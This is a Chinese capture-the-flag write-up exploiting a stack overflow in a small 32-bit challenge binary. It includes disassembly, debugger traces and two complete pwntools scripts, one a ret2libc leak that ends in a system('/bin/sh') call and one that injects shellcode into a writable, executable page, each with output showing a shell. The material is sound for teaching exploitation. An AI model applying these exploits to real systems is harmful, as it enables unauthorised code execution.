源程序下载:http://file.eonew.cn/ctf/pwn/Bin 。
该题主要考验对于栈的构造能力。
目录
程序功能介绍
安全防护
ex@Ex:~/test$ checksec Bin
[*] '/home/ex/test/Bin'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE
主要功能
由于功能简单,所以直接贴汇编代码:
.text:0804853B ; int __cdecl main(int argc, const char **argv, const char **envp)
.text:0804853B public main
.text:0804853B main proc near ; DATA XREF: _start+17↑o
.text:0804853B
.text:0804853B buf = byte ptr -64h
.text:0804853B argc = dword ptr 8
.text:0804853B argv = dword ptr 0Ch
.text:0804853B envp = dword ptr 10h
.text:0804853B
.text:0804853B ; __unwind {
.text:0804853B push ebp
.text:0804853C mov ebp, esp
.text:0804853E and esp, 0FFFFFFF0h
.text:08048541 add esp, 0FFFFFF80h
.text:08048544 call init
.text:08048549 mov dword ptr [esp], offset s ; "**************************************"
.text:08048550 call _puts
.text:08048555 mov dword ptr [esp], offset aWelcomeToExplo ; "welcome to exploit train"
.text:0804855C call _puts
.text:08048561 mov dword ptr [esp], offset s ; "**************************************"
.text:08048568 call _puts
.text:0804856D mov dword ptr [esp+8], 200h ; nbytes
.text:08048575 lea eax, [esp+80h+buf]
.text:08048579 mov [esp+4], eax ; buf
.text:0804857D mov dword ptr [esp], 0 ; fd
.text:08048584 call _read
.text:08048589 mov dword ptr [esp], offset aSeeYou ; "see you~~"
.text:08048590 call _puts
.text:08048595 leave
.text:08048596 retn
.text:08048596 ; } // starts at 804853B
.text:08048596 main endp
程序有什么漏洞呢?
明显的栈溢出。
思路
- 泄露基地址
- 注入shell
第一种思路:泄露基地址
可以利用puts
函数打印出got表的值。下面是计算偏移的步骤。
先在下面的0x08048589
处下断点
.text:08048584 call _read
.text:08048589 mov dword ptr [esp], offset aSeeYou ; "see you~~"
得到我们输入的字符串的地址,这里我输入aaaa
。
aaaa
Breakpoint 1, 0x08048589 in main ()
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
─────────────────────────────────────────────────[ REGISTERS ]─────────────────────────────────────────────────
EAX 0x5
EBX 0x0
ECX 0xffffcd0c ◂— 'aaaa\n'
EDX 0x200
EDI 0x0
ESI 0xf7fae000 (_GLOBAL_OFFSET_TABLE_) ◂— insb byte ptr es:[edi], dx /* 0x1d7d6c */
EBP 0xffffcd78 ◂— 0x0
ESP 0xffffccf0 ◂— 0x0
EIP 0x8048589 (main+78) ◂— mov dword ptr [esp], 0x8048670
──────────────────────────────────────────────────[ DISASM ]───────────────────────────────────────────────────
► 0x8048589 <main+78> mov dword ptr [esp], 0x8048670
0x8048590 <main+85> call puts@plt <0x80483c0>
0x8048595 <main+90> leave
0x8048596 <main+91> ret
0x8048597 nop
0x8048599 nop
0x804859b nop
0x804859d nop
0x804859f nop
0x80485a0 <__libc_csu_init> push ebp
0x80485a1 <__libc_csu_init+1> push edi
───────────────────────────────────────────────────[ STACK ]───────────────────────────────────────────────────
00:0000│ esp 0xffffccf0 ◂— 0x0
01:0004│ 0xffffccf4 —▸ 0xffffcd0c ◂— 'aaaa\n'
02:0008│ 0xffffccf8 ◂— 0x200
03:000c│ 0xffffccfc ◂— 0xc2
04:0010│ 0xffffcd00 ◂— 0x0
05:0014│ 0xffffcd04 ◂— 0xc30000
06:0018│ 0xffffcd08 ◂— 0x0
07:001c│ ecx 0xffffcd0c ◂— 'aaaa\n'
─────────────────────────────────────────────────[ BACKTRACE ]─────────────────────────────────────────────────
► f 0 8048589 main+78
f 1 f7deee81 __libc_start_main+241
Breakpoint *0x08048589
得到字符串地址为0xffffcd0c
。
运行到ret
处查看main返回地址
直接使用stepret
指令即可。
pwndbg> stepret
Temporary breakpoint -23, 0x08048596 in main ()
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
─────────────────────────────────────────────────[ REGISTERS ]─────────────────────────────────────────────────
EAX 0xa
EBX 0x0
ECX 0xf7faedc7 (_IO_2_1_stdout_+71) ◂— or dl, byte ptr [eax - 0x80508] /* 0xfaf8900a */
EDX 0xf7faf890 (_IO_stdfile_1_lock) ◂— 0
EDI 0x0
ESI 0xf7fae000 (_GLOBAL_OFFSET_TABLE_) ◂— insb byte ptr es:[edi], dx /* 0x1d7d6c */
EBP 0x0
ESP 0xffffcd7c —▸ 0xf7deee81 (__libc_start_main+241) ◂— add esp, 0x10
EIP 0x8048596 (main+91) ◂— ret
──────────────────────────────────────────────────[ DISASM ]───────────────────────────────────────────────────
0x8048589 <main+78> mov dword ptr [esp], 0x8048670
0x8048590 <main+85> call puts@plt <0x80483c0>
0x8048595 <main+90> leave
► 0x8048596 <main+91> ret <0xf7deee81; __libc_start_main+241>
↓
0xf7deee81 <__libc_start_main+241> add esp, 0x10
0xf7deee84 <__libc_start_main+244> sub esp, 0xc
0xf7deee87 <__libc_start_main+247> push eax
0xf7deee88 <__libc_start_main+248> call exit <0xf7e063d0>
0xf7deee8d <__libc_start_main+253> mov edi, dword ptr [esp + 8]
0xf7deee91 <__libc_start_main+257> mov eax, dword ptr [edi + 0x38a4]
0xf7deee97 <__libc_start_main+263> ror eax, 9
───────────────────────────────────────────────────[ STACK ]───────────────────────────────────────────────────
00:0000│ esp 0xffffcd7c —▸ 0xf7deee81 (__libc_start_main+241) ◂— add esp, 0x10
01:0004│ 0xffffcd80 ◂— 0x1
02:0008│ 0xffffcd84 —▸ 0xffffce14 —▸ 0xffffd00d ◂— '/home/ex/test/Bin'
03:000c│ 0xffffcd88 —▸ 0xffffce1c —▸ 0xffffd01f ◂— 'CLUTTER_IM_MODULE=xim'
04:0010│ 0xffffcd8c —▸ 0xffffcda4 ◂— 0x0
05:0014│ 0xffffcd90 ◂— 0x1
06:0018│ 0xffffcd94 ◂— 0x0
07:001c│ 0xffffcd98 —▸ 0xf7fae000 (_GLOBAL_OFFSET_TABLE_) ◂— insb byte ptr es:[edi], dx /* 0x1d7d6c */
─────────────────────────────────────────────────[ BACKTRACE ]─────────────────────────────────────────────────
► f 0 8048596 main+91
f 1 f7deee81 __libc_start_main+241
Breakpoint *0x8048596
pwndbg>
看到返回地址
为0xffffcd7c
,然后计算他们的偏移地址:0xffffcd7c-0xffffcd0c = 112
。
泄露基地址
sh.sendline('a' * 112
+ p32(elf.symbols['puts']) + p32(elf.symbols['main']) # 再来一次
+ p32(elf.got['__libc_start_main'])
)
sh.recvuntil('see you~~\n')
libc_addr = u32(sh.recv(4)) - libc.symbols['__libc_start_main']
log.success('libc_addr: ' + hex(libc_addr))
上面执行完puts
之后,又会回到main
函数,这样我们就不用担心栈被破坏的问题
。但是之后的偏移需要重新计算,方法和上面一模一样。这里我计算的是104
。
getshell
sh.sendline('a'*104
+ p32(libc_addr + libc.symbols['system'])
+ p32(libc_addr + libc.symbols['exit'])
+ p32(libc_addr + libc.search('/bin/sh').next())
+ p32(0)
)
sh.interactive()
完整脚本
#!/usr/bin/python2
# -*- coding:utf-8 -*-
from pwn import *
elf = ELF('./Bin')
sh = process('./Bin')
libc = ELF('/lib/i386-linux-gnu/libc.so.6')
# context.log_level = "debug"
# 创建pid文件,用于gdb调试
f = open('pid', 'w')
f.write(str(proc.pidof(sh)[0]))
f.close()
sh.sendline('a' * 112
+ p32(elf.symbols['puts']) + p32(elf.symbols['main']) # 再来一次
+ p32(elf.got['__libc_start_main'])
)
sh.recvuntil('see you~~\n')
libc_addr = u32(sh.recv(4)) - libc.symbols['__libc_start_main']
log.success('libc_addr: ' + hex(libc_addr))
sh.sendline('a'*104
+ p32(libc_addr + libc.symbols['system'])
+ p32(libc_addr + libc.symbols['exit'])
+ p32(libc_addr + libc.search('/bin/sh').next())
+ p32(0)
)
sh.interactive()
# 删除pid文件
os.system("rm -f pid")
运行实例
ex@Ex:~/test$ ./exp.py
[*] '/home/ex/test/Bin'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE
[+] Starting local process './Bin': Done
[*] '/lib/i386-linux-gnu/libc.so.6'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[+] libc_addr: 0xf7da5000
[*] Switching to interactive mode
**************************************
welcome to exploit train
**************************************
see you~~
$ id
uid=1000(ex) gid=1000(ex) groups=1000(ex),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),112(lpadmin),127(sambashare),129(wireshark)
$
第二种思路:注入shell
注入shell的好处在于,在没有libc
的情况下,也能getshell。
通过vmmap
命令,我们发现0x804a000-0x804b000
既有写权限,也有执行权限,所以我们将要执行的shell写在这里,为了预防覆盖的正常数据,尽量用靠后一点的内存,这里我用的是0x804af00
。
pwndbg> vmmap
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
0x8048000 0x8049000 r-xp 1000 0 /home/ex/test/Bin
0x8049000 0x804a000 r-xp 1000 0 /home/ex/test/Bin
0x804a000 0x804b000 rwxp 1000 1000 /home/ex/test/Bin
0xf7dd6000 0xf7fab000 r-xp 1d5000 0 /lib/i386-linux-gnu/libc-2.27.so
0xf7fab000 0xf7fac000 ---p 1000 1d5000 /lib/i386-linux-gnu/libc-2.27.so
0xf7fac000 0xf7fae000 r-xp 2000 1d5000 /lib/i386-linux-gnu/libc-2.27.so
0xf7fae000 0xf7faf000 rwxp 1000 1d7000 /lib/i386-linux-gnu/libc-2.27.so
0xf7faf000 0xf7fb2000 rwxp 3000 0
0xf7fcf000 0xf7fd1000 rwxp 2000 0
0xf7fd1000 0xf7fd4000 r--p 3000 0 [vvar]
0xf7fd4000 0xf7fd6000 r-xp 2000 0 [vdso]
0xf7fd6000 0xf7ffc000 r-xp 26000 0 /lib/i386-linux-gnu/ld-2.27.so
0xf7ffc000 0xf7ffd000 r-xp 1000 25000 /lib/i386-linux-gnu/ld-2.27.so
0xf7ffd000 0xf7ffe000 rwxp 1000 26000 /lib/i386-linux-gnu/ld-2.27.so
0xfffdd000 0xffffe000 rwxp 21000 0 [stack]
写入shell
sh.sendline('a'*112
+ p32(elf.symbols['read']) + p32(elf.symbols['main']) # 再来一次
+ p32(0) + p32(0x804af00) + p32(100)
)
sh.recvuntil('see you~~\n')
sh.sendline(asm(shellcraft.sh()))
触发
sh.sendline('a'*104
+ p32(0x804af00)
)
sh.interactive()
完整脚本
#!/usr/bin/python2
# -*- coding:utf-8 -*-
from pwn import *
elf = ELF('./Bin')
sh = process('./Bin')
# context.log_level = "debug"
# 创建pid文件,用于gdb调试
f = open('pid', 'w')
f.write(str(proc.pidof(sh)[0]))
f.close()
sh.sendline('a'*112
+ p32(elf.symbols['read']) + p32(elf.symbols['main']) # 再来一次
+ p32(0) + p32(0x804af00) + p32(100)
)
sh.recvuntil('see you~~\n')
sh.sendline(asm(shellcraft.sh()))
sh.sendline('a'*104
+ p32(0x804af00)
)
sh.interactive()
# 删除pid文件
os.system("rm -f pid")
运行实例
ex@Ex:~/test$ ./exp2.py
[*] '/home/ex/test/Bin'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE
[+] Starting local process './Bin': Done
[*] Switching to interactive mode
**************************************
welcome to exploit train
**************************************
see you~~
$ id
uid=1000(ex) gid=1000(ex) groups=1000(ex),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),112(lpadmin),127(sambashare),129(wireshark)
$
总结
条条大路通罗马。